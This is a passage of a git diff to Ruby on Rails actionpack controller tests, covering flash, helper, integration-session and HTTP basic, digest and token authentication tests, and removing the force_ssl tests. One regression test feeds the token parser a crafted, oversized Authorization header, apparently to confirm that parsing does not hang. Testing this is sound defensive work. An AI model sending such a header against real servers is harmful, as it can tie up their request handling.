     get :redirect_with_notice
-    assert_equal "Good luck in the somewheres!", @controller.send(:flash)[:notice]
+    assert_equal "Good luck in the somewheres!", @controller.flash[:notice]
   end
 
   def test_render_with_flash_now_alert
     get :render_with_flash_now_alert
-    assert_equal "Beware the nowheres now!", @controller.send(:flash)[:alert]
+    assert_equal "Beware the nowheres now!", @controller.flash[:alert]
   end
 
   def test_render_with_flash_now_notice
     get :render_with_flash_now_notice
-    assert_equal "Good luck in the somewheres now!", @controller.send(:flash)[:notice]
+    assert_equal "Good luck in the somewheres now!", @controller.flash[:notice]
   end
 
   def test_redirect_to_with_other_flashes
     get :redirect_with_other_flashes
-    assert_equal "Horses!", @controller.send(:flash)[:joyride]
+    assert_equal "Horses!", @controller.flash[:joyride]
   end
 
   def test_redirect_to_with_adding_flash_types
@@ -217,11 +219,18 @@ def test_redirect_to_with_adding_flash_types
     end
     @controller = test_controller_with_flash_type_foo.new
     get :redirect_with_foo_flash
-    assert_equal "for great justice", @controller.send(:flash)[:foo]
+    assert_equal "for great justice", @controller.flash[:foo]
   ensure
     @controller = original_controller
   end
 
+  def test_additional_flash_types_are_not_listed_in_actions_set
+    test_controller_with_flash_type_foo = Class.new(TestController) do
+      add_flash_types :foo
+    end
+    assert_not_includes test_controller_with_flash_type_foo.action_methods, "foo"
+  end
+
   def test_add_flash_type_to_subclasses
     test_controller_with_flash_type_foo = Class.new(TestController) do
       add_flash_types :foo
@@ -240,7 +249,11 @@ def test_does_not_add_flash_type_to_parent_class
 
 class FlashIntegrationTest < ActionDispatch::IntegrationTest
   SessionKey = "_myapp_session"
-  Generator  = ActiveSupport::LegacyKeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33")
+  Generator = ActiveSupport::CachingKeyGenerator.new(
+    ActiveSupport::KeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33", iterations: 1000)
+  )
+  Rotations = ActiveSupport::Messages::RotationConfiguration.new
+  SIGNED_COOKIE_SALT = "signed cookie"
 
   class TestController < ActionController::Base
     add_flash_types :bar
@@ -250,6 +263,11 @@ def set_flash
       head :ok
     end
 
+    def set_html_flash
+      flash["that"] = ActiveSupport::SafeBuffer.new("<p>Hello world</p>")
+      head :ok
+    end
+
     def set_flash_now
       flash.now["that"] = "hello"
       head :ok
@@ -261,7 +279,7 @@ def use_flash
 
     def set_bar
       flash[:bar] = "for great justice"
-      head :ok
+      render inline: "<%= bar %>"
     end
 
     def set_flash_optionally
@@ -284,6 +302,18 @@ def test_flash
     end
   end
 
+  def test_flash_safebuffer
+    with_test_route_set do
+      get "/set_html_flash", env: { "action_dispatch.cookies_serializer" => :message_pack }
+      assert_response :success
+      assert_equal "<p>Hello world</p>", @request.flash["that"]
+
+      get "/use_flash", env: { "action_dispatch.cookies_serializer" => :message_pack }
+      assert_response :success
+      assert_equal "flash: <p>Hello world</p>", @response.body
+    end
+  end
+
   def test_just_using_flash_does_not_stream_a_cookie_back
     with_test_route_set do
       get "/use_flash"
@@ -297,7 +327,9 @@ def test_setting_flash_does_not_raise_in_following_requests
     with_test_route_set do
       env = { "action_dispatch.request.flash_hash" => ActionDispatch::Flash::FlashHash.new }
       get "/set_flash", env: env
-      get "/set_flash", env: env
+      assert_nothing_raised do
+        get "/set_flash", env: env
+      end
     end
   end
 
@@ -305,7 +337,9 @@ def test_setting_flash_now_does_not_raise_in_following_requests
     with_test_route_set do
       env = { "action_dispatch.request.flash_hash" => ActionDispatch::Flash::FlashHash.new }
       get "/set_flash_now", env: env
-      get "/set_flash_now", env: env
+      assert_nothing_raised do
+        get "/set_flash_now", env: env
+      end
     end
   end
 
@@ -313,7 +347,7 @@ def test_added_flash_types_method
     with_test_route_set do
       get "/set_bar"
       assert_response :success
-      assert_equal "for great justice", @controller.bar
+      assert_equal "for great justice", response.body
     end
   end
 
@@ -339,30 +373,50 @@ def test_flash_factored_into_etag
     end
   end
 
-  private
+  def test_flash_unusable_in_metal_without_helper
+    controller_class = nil
+
+    assert_nothing_raised do
+      controller_class = Class.new(ActionController::Metal) do
+        include ActionController::Flash
+      end
+    end
 
+    controller = controller_class.new
+
+    assert_not_respond_to controller, :alert
+    assert_not_respond_to controller, :notice
+
+    assert_includes controller.private_methods, :alert
+    assert_includes controller.private_methods, :notice
+  end
+
+  private
     # Overwrite get to send SessionSecret in env hash
-    def get(path, *args)
-      args[0] ||= {}
-      args[0][:env] ||= {}
-      args[0][:env]["action_dispatch.key_generator"] ||= Generator
-      super(path, *args)
+    def get(path, **options)
+      options[:env] ||= {}
+      options[:env]["action_dispatch.key_generator"] ||= Generator
+      options[:env]["action_dispatch.cookies_rotations"] = Rotations
+      options[:env]["action_dispatch.signed_cookie_salt"] = SIGNED_COOKIE_SALT
+      super(path, **options)
+    end
+
+    def app
+      @app ||= self.class.build_app do |middleware|
+        middleware.use ActionDispatch::Session::CookieStore, key: SessionKey
+        middleware.use ActionDispatch::Flash
+        middleware.delete ActionDispatch::ShowExceptions
+      end
     end
 
     def with_test_route_set
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get ":action", to: FlashIntegrationTest::TestController
           end
         end
 
-        @app = self.class.build_app(set) do |middleware|
-          middleware.use ActionDispatch::Session::CookieStore, key: SessionKey
-          middleware.use ActionDispatch::Flash
-          middleware.delete ActionDispatch::ShowExceptions
-        end
-
         yield
       end
     end
diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb
deleted file mode 100644
index 2b3859aa57402..0000000000000
--- a/actionpack/test/controller/force_ssl_test.rb
+++ /dev/null
@@ -1,331 +0,0 @@
-require "abstract_unit"
-
-class ForceSSLController < ActionController::Base
-  def banana
-    render plain: "monkey"
-  end
-
-  def cheeseburger
-    render plain: "sikachu"
-  end
-end
-
-class ForceSSLControllerLevel < ForceSSLController
-  force_ssl
-end
-
-class ForceSSLCustomOptions < ForceSSLController
-  force_ssl host: "secure.example.com", only: :redirect_host
-  force_ssl port: 8443, only: :redirect_port
-  force_ssl subdomain: "secure", only: :redirect_subdomain
-  force_ssl domain: "secure.com", only: :redirect_domain
-  force_ssl path: "/foo", only: :redirect_path
-  force_ssl status: :found, only: :redirect_status
-  force_ssl flash: { message: "Foo, Bar!" }, only: :redirect_flash
-  force_ssl alert: "Foo, Bar!", only: :redirect_alert
-  force_ssl notice: "Foo, Bar!", only: :redirect_notice
-
-  def force_ssl_action
-    render plain: action_name
-  end
-
-  alias_method :redirect_host, :force_ssl_action
-  alias_method :redirect_port, :force_ssl_action
-  alias_method :redirect_subdomain, :force_ssl_action
-  alias_method :redirect_domain, :force_ssl_action
-  alias_method :redirect_path, :force_ssl_action
-  alias_method :redirect_status, :force_ssl_action
-  alias_method :redirect_flash, :force_ssl_action
-  alias_method :redirect_alert, :force_ssl_action
-  alias_method :redirect_notice, :force_ssl_action
-
-  def use_flash
-    render plain: flash[:message]
-  end
-
-  def use_alert
-    render plain: flash[:alert]
-  end
-
-  def use_notice
-    render plain: flash[:notice]
-  end
-end
-
-class ForceSSLOnlyAction < ForceSSLController
-  force_ssl only: :cheeseburger
-end
-
-class ForceSSLExceptAction < ForceSSLController
-  force_ssl except: :banana
-end
-
-class ForceSSLIfCondition < ForceSSLController
-  force_ssl if: :use_force_ssl?
-
-  def use_force_ssl?
-    action_name == "cheeseburger"
-  end
-end
-
-class ForceSSLFlash < ForceSSLController
-  force_ssl except: [:banana, :set_flash, :use_flash]
-
-  def set_flash
-    flash["that"] = "hello"
-    redirect_to "/force_ssl_flash/cheeseburger"
-  end
-
-  def use_flash
-    @flash_copy = {}.update flash
-    @flashy = flash["that"]
-    render inline: "hello"
-  end
-end
-
-class RedirectToSSL < ForceSSLController
-  def banana
-    force_ssl_redirect || render(plain: "monkey")
-  end
-  def cheeseburger
-    force_ssl_redirect("secure.cheeseburger.host") || render(plain: "ihaz")
-  end
-end
-
-class ForceSSLControllerLevelTest < ActionController::TestCase
-  def test_banana_redirects_to_https
-    get :banana
-    assert_response 301
-    assert_equal "https://test.host/force_ssl_controller_level/banana", redirect_to_url
-  end
-
-  def test_banana_redirects_to_https_with_extra_params
-    get :banana, params: { token: "secret" }
-    assert_response 301
-    assert_equal "https://test.host/force_ssl_controller_level/banana?token=secret", redirect_to_url
-  end
-
-  def test_cheeseburger_redirects_to_https
-    get :cheeseburger
-    assert_response 301
-    assert_equal "https://test.host/force_ssl_controller_level/cheeseburger", redirect_to_url
-  end
-end
-
-class ForceSSLCustomOptionsTest < ActionController::TestCase
-  def setup
-    @request.env["HTTP_HOST"] = "www.example.com:80"
-  end
-
-  def test_redirect_to_custom_host
-    get :redirect_host
-    assert_response 301
-    assert_equal "https://secure.example.com/force_ssl_custom_options/redirect_host", redirect_to_url
-  end
-
-  def test_redirect_to_custom_port
-    get :redirect_port
-    assert_response 301
-    assert_equal "https://www.example.com:8443/force_ssl_custom_options/redirect_port", redirect_to_url
-  end
-
-  def test_redirect_to_custom_subdomain
-    get :redirect_subdomain
-    assert_response 301
-    assert_equal "https://secure.example.com/force_ssl_custom_options/redirect_subdomain", redirect_to_url
-  end
-
-  def test_redirect_to_custom_domain
-    get :redirect_domain
-    assert_response 301
-    assert_equal "https://www.secure.com/force_ssl_custom_options/redirect_domain", redirect_to_url
-  end
-
-  def test_redirect_to_custom_path
-    get :redirect_path
-    assert_response 301
-    assert_equal "https://www.example.com/foo", redirect_to_url
-  end
-
-  def test_redirect_to_custom_status
-    get :redirect_status
-    assert_response 302
-    assert_equal "https://www.example.com/force_ssl_custom_options/redirect_status", redirect_to_url
-  end
-
-  def test_redirect_to_custom_flash
-    get :redirect_flash
-    assert_response 301
-    assert_equal "https://www.example.com/force_ssl_custom_options/redirect_flash", redirect_to_url
-
-    get :use_flash
-    assert_response 200
-    assert_equal "Foo, Bar!", @response.body
-  end
-
-  def test_redirect_to_custom_alert
-    get :redirect_alert
-    assert_response 301
-    assert_equal "https://www.example.com/force_ssl_custom_options/redirect_alert", redirect_to_url
-
-    get :use_alert
-    assert_response 200
-    assert_equal "Foo, Bar!", @response.body
-  end
-
-  def test_redirect_to_custom_notice
-    get :redirect_notice
-    assert_response 301
-    assert_equal "https://www.example.com/force_ssl_custom_options/redirect_notice", redirect_to_url
-
-    get :use_notice
-    assert_response 200
-    assert_equal "Foo, Bar!", @response.body
-  end
-end
-
-class ForceSSLOnlyActionTest < ActionController::TestCase
-  def test_banana_not_redirects_to_https
-    get :banana
-    assert_response 200
-  end
-
-  def test_cheeseburger_redirects_to_https
-    get :cheeseburger
-    assert_response 301
-    assert_equal "https://test.host/force_ssl_only_action/cheeseburger", redirect_to_url
-  end
-end
-
-class ForceSSLExceptActionTest < ActionController::TestCase
-  def test_banana_not_redirects_to_https
-    get :banana
-    assert_response 200
-  end
-
-  def test_cheeseburger_redirects_to_https
-    get :cheeseburger
-    assert_response 301
-    assert_equal "https://test.host/force_ssl_except_action/cheeseburger", redirect_to_url
-  end
-end
-
-class ForceSSLIfConditionTest < ActionController::TestCase
-  def test_banana_not_redirects_to_https
-    get :banana
-    assert_response 200
-  end
-
-  def test_cheeseburger_redirects_to_https
-    get :cheeseburger
-    assert_response 301
-    assert_equal "https://test.host/force_ssl_if_condition/cheeseburger", redirect_to_url
-  end
-end
-
-class ForceSSLFlashTest < ActionController::TestCase
-  def test_cheeseburger_redirects_to_https
-    get :set_flash
-    assert_response 302
-    assert_equal "http://test.host/force_ssl_flash/cheeseburger", redirect_to_url
-
-    @request.env.delete("PATH_INFO")
-
-    get :cheeseburger
-    assert_response 301
-    assert_equal "https://test.host/force_ssl_flash/cheeseburger", redirect_to_url
-
-    @request.env.delete("PATH_INFO")
-
-    get :use_flash
-    assert_equal "hello", @controller.instance_variable_get("@flash_copy")["that"]
-    assert_equal "hello", @controller.instance_variable_get("@flashy")
-  end
-end
-
-class ForceSSLDuplicateRoutesTest < ActionController::TestCase
-  tests ForceSSLControllerLevel
-
-  def test_force_ssl_redirects_to_same_path
-    with_routing do |set|
-      set.draw do
-        get "/foo", to: "force_ssl_controller_level#banana"
-        get "/bar", to: "force_ssl_controller_level#banana"
-      end
-
-      @request.env["PATH_INFO"] = "/bar"
-
-      get :banana
-      assert_response 301
-      assert_equal "https://test.host/bar", redirect_to_url
-    end
-  end
-end
-
-class ForceSSLFormatTest < ActionController::TestCase
-  tests ForceSSLControllerLevel
-
-  def test_force_ssl_redirects_to_same_format
-    with_routing do |set|
-      set.draw do
-        get "/foo", to: "force_ssl_controller_level#banana"
-      end
-
-      get :banana, format: :json
-      assert_response 301
-      assert_equal "https://test.host/foo.json", redirect_to_url
-    end
-  end
-end
-
-class ForceSSLOptionalSegmentsTest < ActionController::TestCase
-  tests ForceSSLControllerLevel
-
-  def test_force_ssl_redirects_to_same_format
-    with_routing do |set|
-      set.draw do
-        scope "(:locale)" do
-          defaults locale: "en" do
-            get "/foo", to: "force_ssl_controller_level#banana"
-          end
-        end
-      end
-
-      @request.env["PATH_INFO"] = "/en/foo"
-      get :banana, params: { locale: "en" }
-      assert_equal "en",  @controller.params[:locale]
-      assert_response 301
-      assert_equal "https://test.host/en/foo", redirect_to_url
-    end
-  end
-end
-
-class RedirectToSSLTest < ActionController::TestCase
-  def test_banana_redirects_to_https_if_not_https
-    get :banana
-    assert_response 301
-    assert_equal "https://test.host/redirect_to_ssl/banana", redirect_to_url
-  end
-
-  def test_cheeseburgers_redirects_to_https_with_new_host_if_not_https
-    get :cheeseburger
-    assert_response 301
-    assert_equal "https://secure.cheeseburger.host/redirect_to_ssl/cheeseburger", redirect_to_url
-  end
-
-  def test_cheeseburgers_does_not_redirect_if_already_https
-    request.env["HTTPS"] = "on"
-    get :cheeseburger
-    assert_response 200
-    assert_equal "ihaz", response.body
-  end
-end
-
-class ForceSSLControllerLevelTest < ActionController::TestCase
-  def test_no_redirect_websocket_ssl_request
-    request.env["rack.url_scheme"] = "wss"
-    request.env["Upgrade"] = "websocket"
-    get :cheeseburger
-    assert_response 200
-  end
-end
diff --git a/actionpack/test/controller/form_builder_test.rb b/actionpack/test/controller/form_builder_test.rb
index 5a3dc2ee03bca..2db0834c5ecee 100644
--- a/actionpack/test/controller/form_builder_test.rb
+++ b/actionpack/test/controller/form_builder_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class FormBuilderController < ActionController::Base
diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb
index 4c6a77206222b..2f3ffacc97ecd 100644
--- a/actionpack/test/controller/helper_test.rb
+++ b/actionpack/test/controller/helper_test.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
-ActionController::Base.helpers_path = File.expand_path("../../fixtures/helpers", __FILE__)
+ActionController::Base.helpers_path = File.expand_path("../fixtures/helpers", __dir__)
 
 module Fun
   class GamesController < ActionController::Base
@@ -35,7 +37,7 @@ class JustMeController < ActionController::Base
   clear_helpers
 
   def flash
-    render inline: "<h1><%= notice %></h1>"
+    render inline: "<h1><%= request.flash[:notice] %></h1>"
   end
 
   def lib
@@ -48,11 +50,12 @@ class MeTooController < JustMeController
 
 class HelpersPathsController < ActionController::Base
   paths = ["helpers2_pack", "helpers1_pack"].map do |path|
-    File.join(File.expand_path("../../fixtures", __FILE__), path)
+    File.join(File.expand_path("../fixtures", __dir__), path)
   end
-  $:.unshift(*paths)
 
   self.helpers_path = paths
+  ActionPackTestSuiteUtils.require_helpers(helpers_path)
+
   helper :all
 
   def index
@@ -61,9 +64,8 @@ def index
 end
 
 class HelpersTypoController < ActionController::Base
-  path = File.expand_path("../../fixtures/helpers_typo", __FILE__)
-  $:.unshift(path)
-  self.helpers_path = path
+  self.helpers_path = File.expand_path("../fixtures/helpers_typo", __dir__)
+  ActionPackTestSuiteUtils.require_helpers(helpers_path)
 end
 
 module LocalAbcHelper
@@ -83,18 +85,10 @@ def test_helpers_paths_priority
 end
 
 class HelpersTypoControllerTest < ActiveSupport::TestCase
-  def setup
-    @autoload_paths = ActiveSupport::Dependencies.autoload_paths
-    ActiveSupport::Dependencies.autoload_paths = Array(HelpersTypoController.helpers_path)
-  end
-
   def test_helper_typo_error_message
     e = assert_raise(NameError) { HelpersTypoController.helper "admin/users" }
-    assert_equal "Couldn't find Admin::UsersHelper, expected it to be defined in helpers/admin/users_helper.rb", e.message
-  end
-
-  def teardown
-    ActiveSupport::Dependencies.autoload_paths = @autoload_paths
+    assert_includes e.message, "uninitialized constant Admin::UsersHelper"
+    assert_includes e.detailed_message, "Did you mean?  Admin::UsersHelpeR"
   end
 end
 
@@ -102,16 +96,19 @@ class HelperTest < ActiveSupport::TestCase
   class TestController < ActionController::Base
     attr_accessor :delegate_attr
     def delegate_method() end
+    def delegate_method_arg(arg); arg; end
+    def delegate_method_kwarg(hi:); hi; end
+    def method_that_raises
+      raise "an error occurred"
+    end
   end
 
   def setup
     # Increment symbol counter.
-    @symbol = (@@counter ||= "A0").succ!.dup
+    @symbol = (@@counter ||= "A0").succ.dup
 
     # Generate new controller class.
-    controller_class_name = "Helper#{@symbol}Controller"
-    eval("class #{controller_class_name} < TestController; end")
-    @controller_class = self.class.const_get(controller_class_name)
+    @controller_class = Class.new(TestController)
 
     # Set default test helper.
     self.test_helper = LocalAbcHelper
@@ -128,6 +125,39 @@ def test_helper_method
     assert_includes master_helper_methods, :delegate_method
   end
 
+  def test_helper_method_arg
+    assert_nothing_raised { @controller_class.helper_method :delegate_method_arg }
+    assert_equal({ hi: :there }, @controller_class.new.helpers.delegate_method_arg({ hi: :there }))
+  end
+
+  def test_helper_method_arg_does_not_call_to_hash
+    assert_nothing_raised { @controller_class.helper_method :delegate_method_arg }
+
+    my_class = Class.new do
+      def to_hash
+        { hi: :there }
+      end
+    end.new
+
+    assert_equal(my_class, @controller_class.new.helpers.delegate_method_arg(my_class))
+  end
+
+  def test_helper_method_kwarg
+    assert_nothing_raised { @controller_class.helper_method :delegate_method_kwarg }
+
+    assert_equal(:there, @controller_class.new.helpers.delegate_method_kwarg(hi: :there))
+  end
+
+  def test_helper_method_with_error_has_correct_backgrace
+    @controller_class.helper_method :method_that_raises
+    expected_backtrace_pattern = "#{__FILE__}:#{__LINE__ - 1}"
+
+    error = assert_raises(RuntimeError) do
+      @controller_class.new.helpers.method_that_raises
+    end
+    assert_not_nil error.backtrace.find { |line| line.include?(expected_backtrace_pattern) }
+  end
+
   def test_helper_attr
     assert_nothing_raised { @controller_class.helper_attr :delegate_attr }
     assert_includes master_helper_methods, :delegate_attr
@@ -148,8 +178,8 @@ def test_helper_for_acronym_controller
   end
 
   def test_default_helpers_only
-    assert_equal [JustMeHelper], JustMeController._helpers.ancestors.reject(&:anonymous?)
-    assert_equal [MeTooHelper, JustMeHelper], MeTooController._helpers.ancestors.reject(&:anonymous?)
+    assert_equal %w[JustMeHelper], JustMeController._helpers.ancestors.reject(&:anonymous?).map(&:to_s)
+    assert_equal %w[MeTooController::HelperMethods MeTooHelper JustMeHelper], MeTooController._helpers.ancestors.reject(&:anonymous?).map(&:to_s)
   end
 
   def test_base_helper_methods_after_clear_helpers
@@ -178,7 +208,8 @@ def test_all_helpers
   end
 
   def test_all_helpers_with_alternate_helper_dir
-    @controller_class.helpers_path = File.expand_path("../../fixtures/alternate_helpers", __FILE__)
+    @controller_class.helpers_path = File.expand_path("../fixtures/alternate_helpers", __dir__)
+    ActionPackTestSuiteUtils.require_helpers(@controller_class.helpers_path)
 
     # Reload helpers
     @controller_class._helpers = Module.new
diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb
index d9ae78768987e..6494b04b89296 100644
--- a/actionpack/test/controller/http_basic_authentication_test.rb
+++ b/actionpack/test/controller/http_basic_authentication_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class HttpBasicAuthenticationTest < ActionController::TestCase
@@ -29,8 +31,14 @@ def search
       render plain: "All inline"
     end
 
-    private
+    def no_password
+      username, password = authenticate_with_http_basic do |username, password|
+        [username, password]
+      end
+      render plain: "Hello #{username} (password: #{password.inspect})"
+    end
 
+    private
       def authenticate
         authenticate_or_request_with_http_basic do |username, password|
           username == "lifo" && password == "world"
@@ -136,6 +144,21 @@ def test_encode_credentials_has_no_newline
     assert_equal 'Basic realm="SuperSecret"', @response.headers["WWW-Authenticate"]
   end
 
+  test "authentication request with a missing password" do
+    @request.env["HTTP_AUTHORIZATION"] = "Basic #{::Base64.encode64("David")}"
+    get :search
+
+    assert_response :unauthorized
+  end
+
+  test "authentication request with no required password" do
+    @request.env["HTTP_AUTHORIZATION"] = "Basic #{::Base64.encode64("George")}"
+    get :no_password
+
+    assert_response :success
+    assert_equal "Hello George (password: nil)", @response.body
+  end
+
   test "authentication request with valid credential" do
     @request.env["HTTP_AUTHORIZATION"] = encode_credentials("pretty", "please")
     get :display
@@ -170,7 +193,6 @@ def test_encode_credentials_has_no_newline
   end
 
   private
-
     def encode_credentials(username, password)
       "Basic #{::Base64.encode64("#{username}:#{password}")}"
     end
diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb
index 0b59e123d7022..c68bf62b7e059 100644
--- a/actionpack/test/controller/http_digest_authentication_test.rb
+++ b/actionpack/test/controller/http_digest_authentication_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/key_generator"
 
@@ -7,7 +9,7 @@ class DummyDigestController < ActionController::Base
     before_action :authenticate_with_request, only: :display
 
     USERS = { "lifo" => "world", "pretty" => "please",
-              "dhh" => ::Digest::MD5::hexdigest(["dhh", "SuperSecret", "secret"].join(":")) }
+              "dhh" => OpenSSL::Digest::MD5.hexdigest(["dhh", "SuperSecret", "secret"].join(":")) }
 
     def index
       render plain: "Hello Secret"
@@ -18,7 +20,6 @@ def display
     end
 
     private
-
       def authenticate
         authenticate_or_request_with_http_digest("SuperSecret") do |username|
           # Returns the password
@@ -42,7 +43,10 @@ def authenticate_with_request
   setup do
     # Used as secret in generating nonce to prevent tampering of timestamp
     @secret = "4fb45da9e4ab4ddeb7580d6a35503d99"
-    @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new(@secret)
+    @request.env["action_dispatch.key_generator"] = ActiveSupport::CachingKeyGenerator.new(
+      ActiveSupport::KeyGenerator.new(@secret)
+    )
+    @request.env["action_dispatch.http_auth_salt"] = "http authentication"
   end
 
   teardown do
@@ -179,9 +183,10 @@ def authenticate_with_request
   end
 
   test "authentication request with password stored as ha1 digest hash" do
-    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: "dhh",
-                                           password: ::Digest::MD5::hexdigest(["dhh", "SuperSecret", "secret"].join(":")),
-                                           password_is_ha1: true)
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials(
+      username: "dhh",
+      password: OpenSSL::Digest::MD5.hexdigest(["dhh", "SuperSecret", "secret"].join(":")),
+      password_is_ha1: true)
     get :display
 
     assert_response :success
@@ -199,7 +204,7 @@ def authenticate_with_request
 
   test "validate_digest_response should fail with nil returning password_procedure" do
     @request.env["HTTP_AUTHORIZATION"] = encode_credentials(username: nil, password: nil)
-    assert !ActionController::HttpAuthentication::Digest.validate_digest_response(@request, "SuperSecret") { nil }
+    assert_not ActionController::HttpAuthentication::Digest.validate_digest_response(@request, "SuperSecret") { nil }
   end
 
   test "authentication request with request-uri ending in '/'" do
@@ -248,7 +253,6 @@ def authenticate_with_request
   end
 
   private
-
     def encode_credentials(options)
       options.reverse_merge!(nc: "00000001", cnonce: "0a4f113b", password_is_ha1: false)
       password = options.delete(:password)
@@ -269,7 +273,7 @@ def encode_credentials(options)
       credentials.merge!(options)
       path_info = @request.env["PATH_INFO"].to_s
       uri = options[:uri] || path_info
-      credentials.merge!(uri: uri)
+      credentials[:uri] = uri
       @request.env["ORIGINAL_FULLPATH"] = path_info
       ActionController::HttpAuthentication::Digest.encode_credentials(method, credentials, password, options[:password_is_ha1])
     end
diff --git a/actionpack/test/controller/http_token_authentication_test.rb b/actionpack/test/controller/http_token_authentication_test.rb
index 09d2793c9a1c8..cf768dde6f8b9 100644
--- a/actionpack/test/controller/http_token_authentication_test.rb
+++ b/actionpack/test/controller/http_token_authentication_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class HttpTokenAuthenticationTest < ActionController::TestCase
@@ -19,7 +21,6 @@ def show
     end
 
     private
-
       def authenticate
         authenticate_or_request_with_http_token do |token, _|
           token == "lifo"
@@ -87,6 +88,16 @@ def authenticate_long_credentials
     assert_equal "HTTP Token: Access denied.\n", @response.body, "Authentication header was not properly parsed"
   end
 
+  test "authentication request with evil header" do
+    @request.env["HTTP_AUTHORIZATION"] = "Token ." + " " * (1024 * 80 - 8) + "."
+    Timeout.timeout(1) do
+      get :index
+    end
+
+    assert_response :unauthorized
+    assert_equal "HTTP Token: Access denied.\n", @response.body, "Authentication header was not properly parsed"
+  end
+
   test "successful authentication request with Bearer instead of Token" do
     @request.env["HTTP_AUTHORIZATION"] = "Bearer lifo"
     get :index
@@ -148,13 +159,13 @@ def authenticate_long_credentials
   end
 
   test "token_and_options returns empty string with empty token" do
-    token = ""
+    token = +""
     actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
     expected = token
     assert_equal(expected, actual)
   end
 
-  test "token_and_options returns correct token with nounce option" do
+  test "token_and_options returns correct token with nonce option" do
     token = "rcHu+HzSFw89Ypyhn/896A="
     nonce_hash = { nonce: "123abc" }
     actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token, nonce_hash))
@@ -169,6 +180,16 @@ def authenticate_long_credentials
     assert_nil actual
   end
 
+  test "token_and_options ignores empty elements in header value" do
+    token = "foo,,bar,  ,   , baz=qux"
+    expected_token = "foo"
+    expected_options = { "bar" => nil, "baz" => "qux" }
+
+    actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token, {}))
+    assert_equal expected_token, actual.first
+    assert_equal expected_options, actual.last
+  end
+
   test "raw_params returns a tuple of two key value pair strings" do
     auth = sample_request("rcHu+HzSFw89Ypyhn/896A=").authorization.to_s
     actual = ActionController::HttpAuthentication::Token.raw_params(auth)
@@ -176,6 +197,20 @@ def authenticate_long_credentials
     assert_equal(expected, actual)
   end
 
+  test "raw_params returns a tuple of key value pair strings when auth does not contain a token key" do
+    auth = sample_request_without_token_key("rcHu+HzSFw89Ypyhn/896A=").authorization.to_s
+    actual = ActionController::HttpAuthentication::Token.raw_params(auth)
+    expected = ["token=rcHu+HzSFw89Ypyhn/896A="]
+    assert_equal(expected, actual)
+  end
+
+  test "raw_params returns a tuple of key strings when auth does not contain a token key and value" do
+    auth = sample_request_without_token_key(nil).authorization.to_s
+    actual = ActionController::HttpAuthentication::Token.raw_params(auth)
+    expected = ["token="]
+    assert_equal(expected, actual)
+  end
+
   test "token_and_options returns right token when token key is not specified in header" do
     token = "rcHu+HzSFw89Ypyhn/896A="
 
@@ -188,7 +223,6 @@ def authenticate_long_credentials
   end
 
   private
-
     def sample_request(token, options = { nonce: "def" })
       authorization = options.inject([%{Token token="#{token}"}]) do |arr, (k, v)|
         arr << "#{k}=\"#{v}\""
@@ -205,7 +239,7 @@ def sample_request_without_token_key(token)
     end
 
     def mock_authorization_request(authorization)
-      OpenStruct.new(authorization: authorization)
+      Struct.new(:authorization).new(authorization)
     end
 
     def encode_credentials(token, options = {})
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
index 57f58fd835568..9457b38eb8d7b 100644
--- a/actionpack/test/controller/integration_test.rb
+++ b/actionpack/test/controller/integration_test.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_controllers"
 require "rails/engine"
+require "launchy"
 
 class SessionTest < ActiveSupport::TestCase
   StubApp = lambda { |env|
@@ -12,11 +15,11 @@ def setup
   end
 
   def test_https_bang_works_and_sets_truth_by_default
-    assert !@session.https?
+    assert_not_predicate @session, :https?
     @session.https!
-    assert @session.https?
+    assert_predicate @session, :https?
     @session.https! false
-    assert !@session.https?
+    assert_not_predicate @session, :https?
   end
 
   def test_host!
@@ -34,91 +37,91 @@ def test_follow_redirect_raises_when_no_redirect
   def test_get
     path = "/index"; params = "blah"; headers = { location: "blah" }
 
-    assert_called_with @session, :process, [:get, path, params: params, headers: headers] do
+    assert_called_with @session, :process, [:get, path], params: params, headers: headers do
       @session.get(path, params: params, headers: headers)
     end
   end
 
   def test_get_with_env_and_headers
     path = "/index"; params = "blah"; headers = { location: "blah" }; env = { "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest" }
-    assert_called_with @session, :process, [:get, path, params: params, headers: headers, env: env] do
+    assert_called_with @session, :process, [:get, path], params: params, headers: headers, env: env do
       @session.get(path, params: params, headers: headers, env: env)
     end
   end
 
   def test_post
     path = "/index"; params = "blah"; headers = { location: "blah" }
-    assert_called_with @session, :process, [:post, path, params: params, headers: headers] do
+    assert_called_with @session, :process, [:post, path], params: params, headers: headers do
       @session.post(path, params: params, headers: headers)
     end
   end
 
   def test_patch
     path = "/index"; params = "blah"; headers = { location: "blah" }
-    assert_called_with @session, :process, [:patch, path, params: params, headers: headers] do
+    assert_called_with @session, :process, [:patch, path], params: params, headers: headers do
       @session.patch(path, params: params, headers: headers)
     end
   end
 
   def test_put
     path = "/index"; params = "blah"; headers = { location: "blah" }
-    assert_called_with @session, :process, [:put, path, params: params, headers: headers] do
+    assert_called_with @session, :process, [:put, path], params: params, headers: headers do
       @session.put(path, params: params, headers: headers)
     end
   end
 
   def test_delete
     path = "/index"; params = "blah"; headers = { location: "blah" }
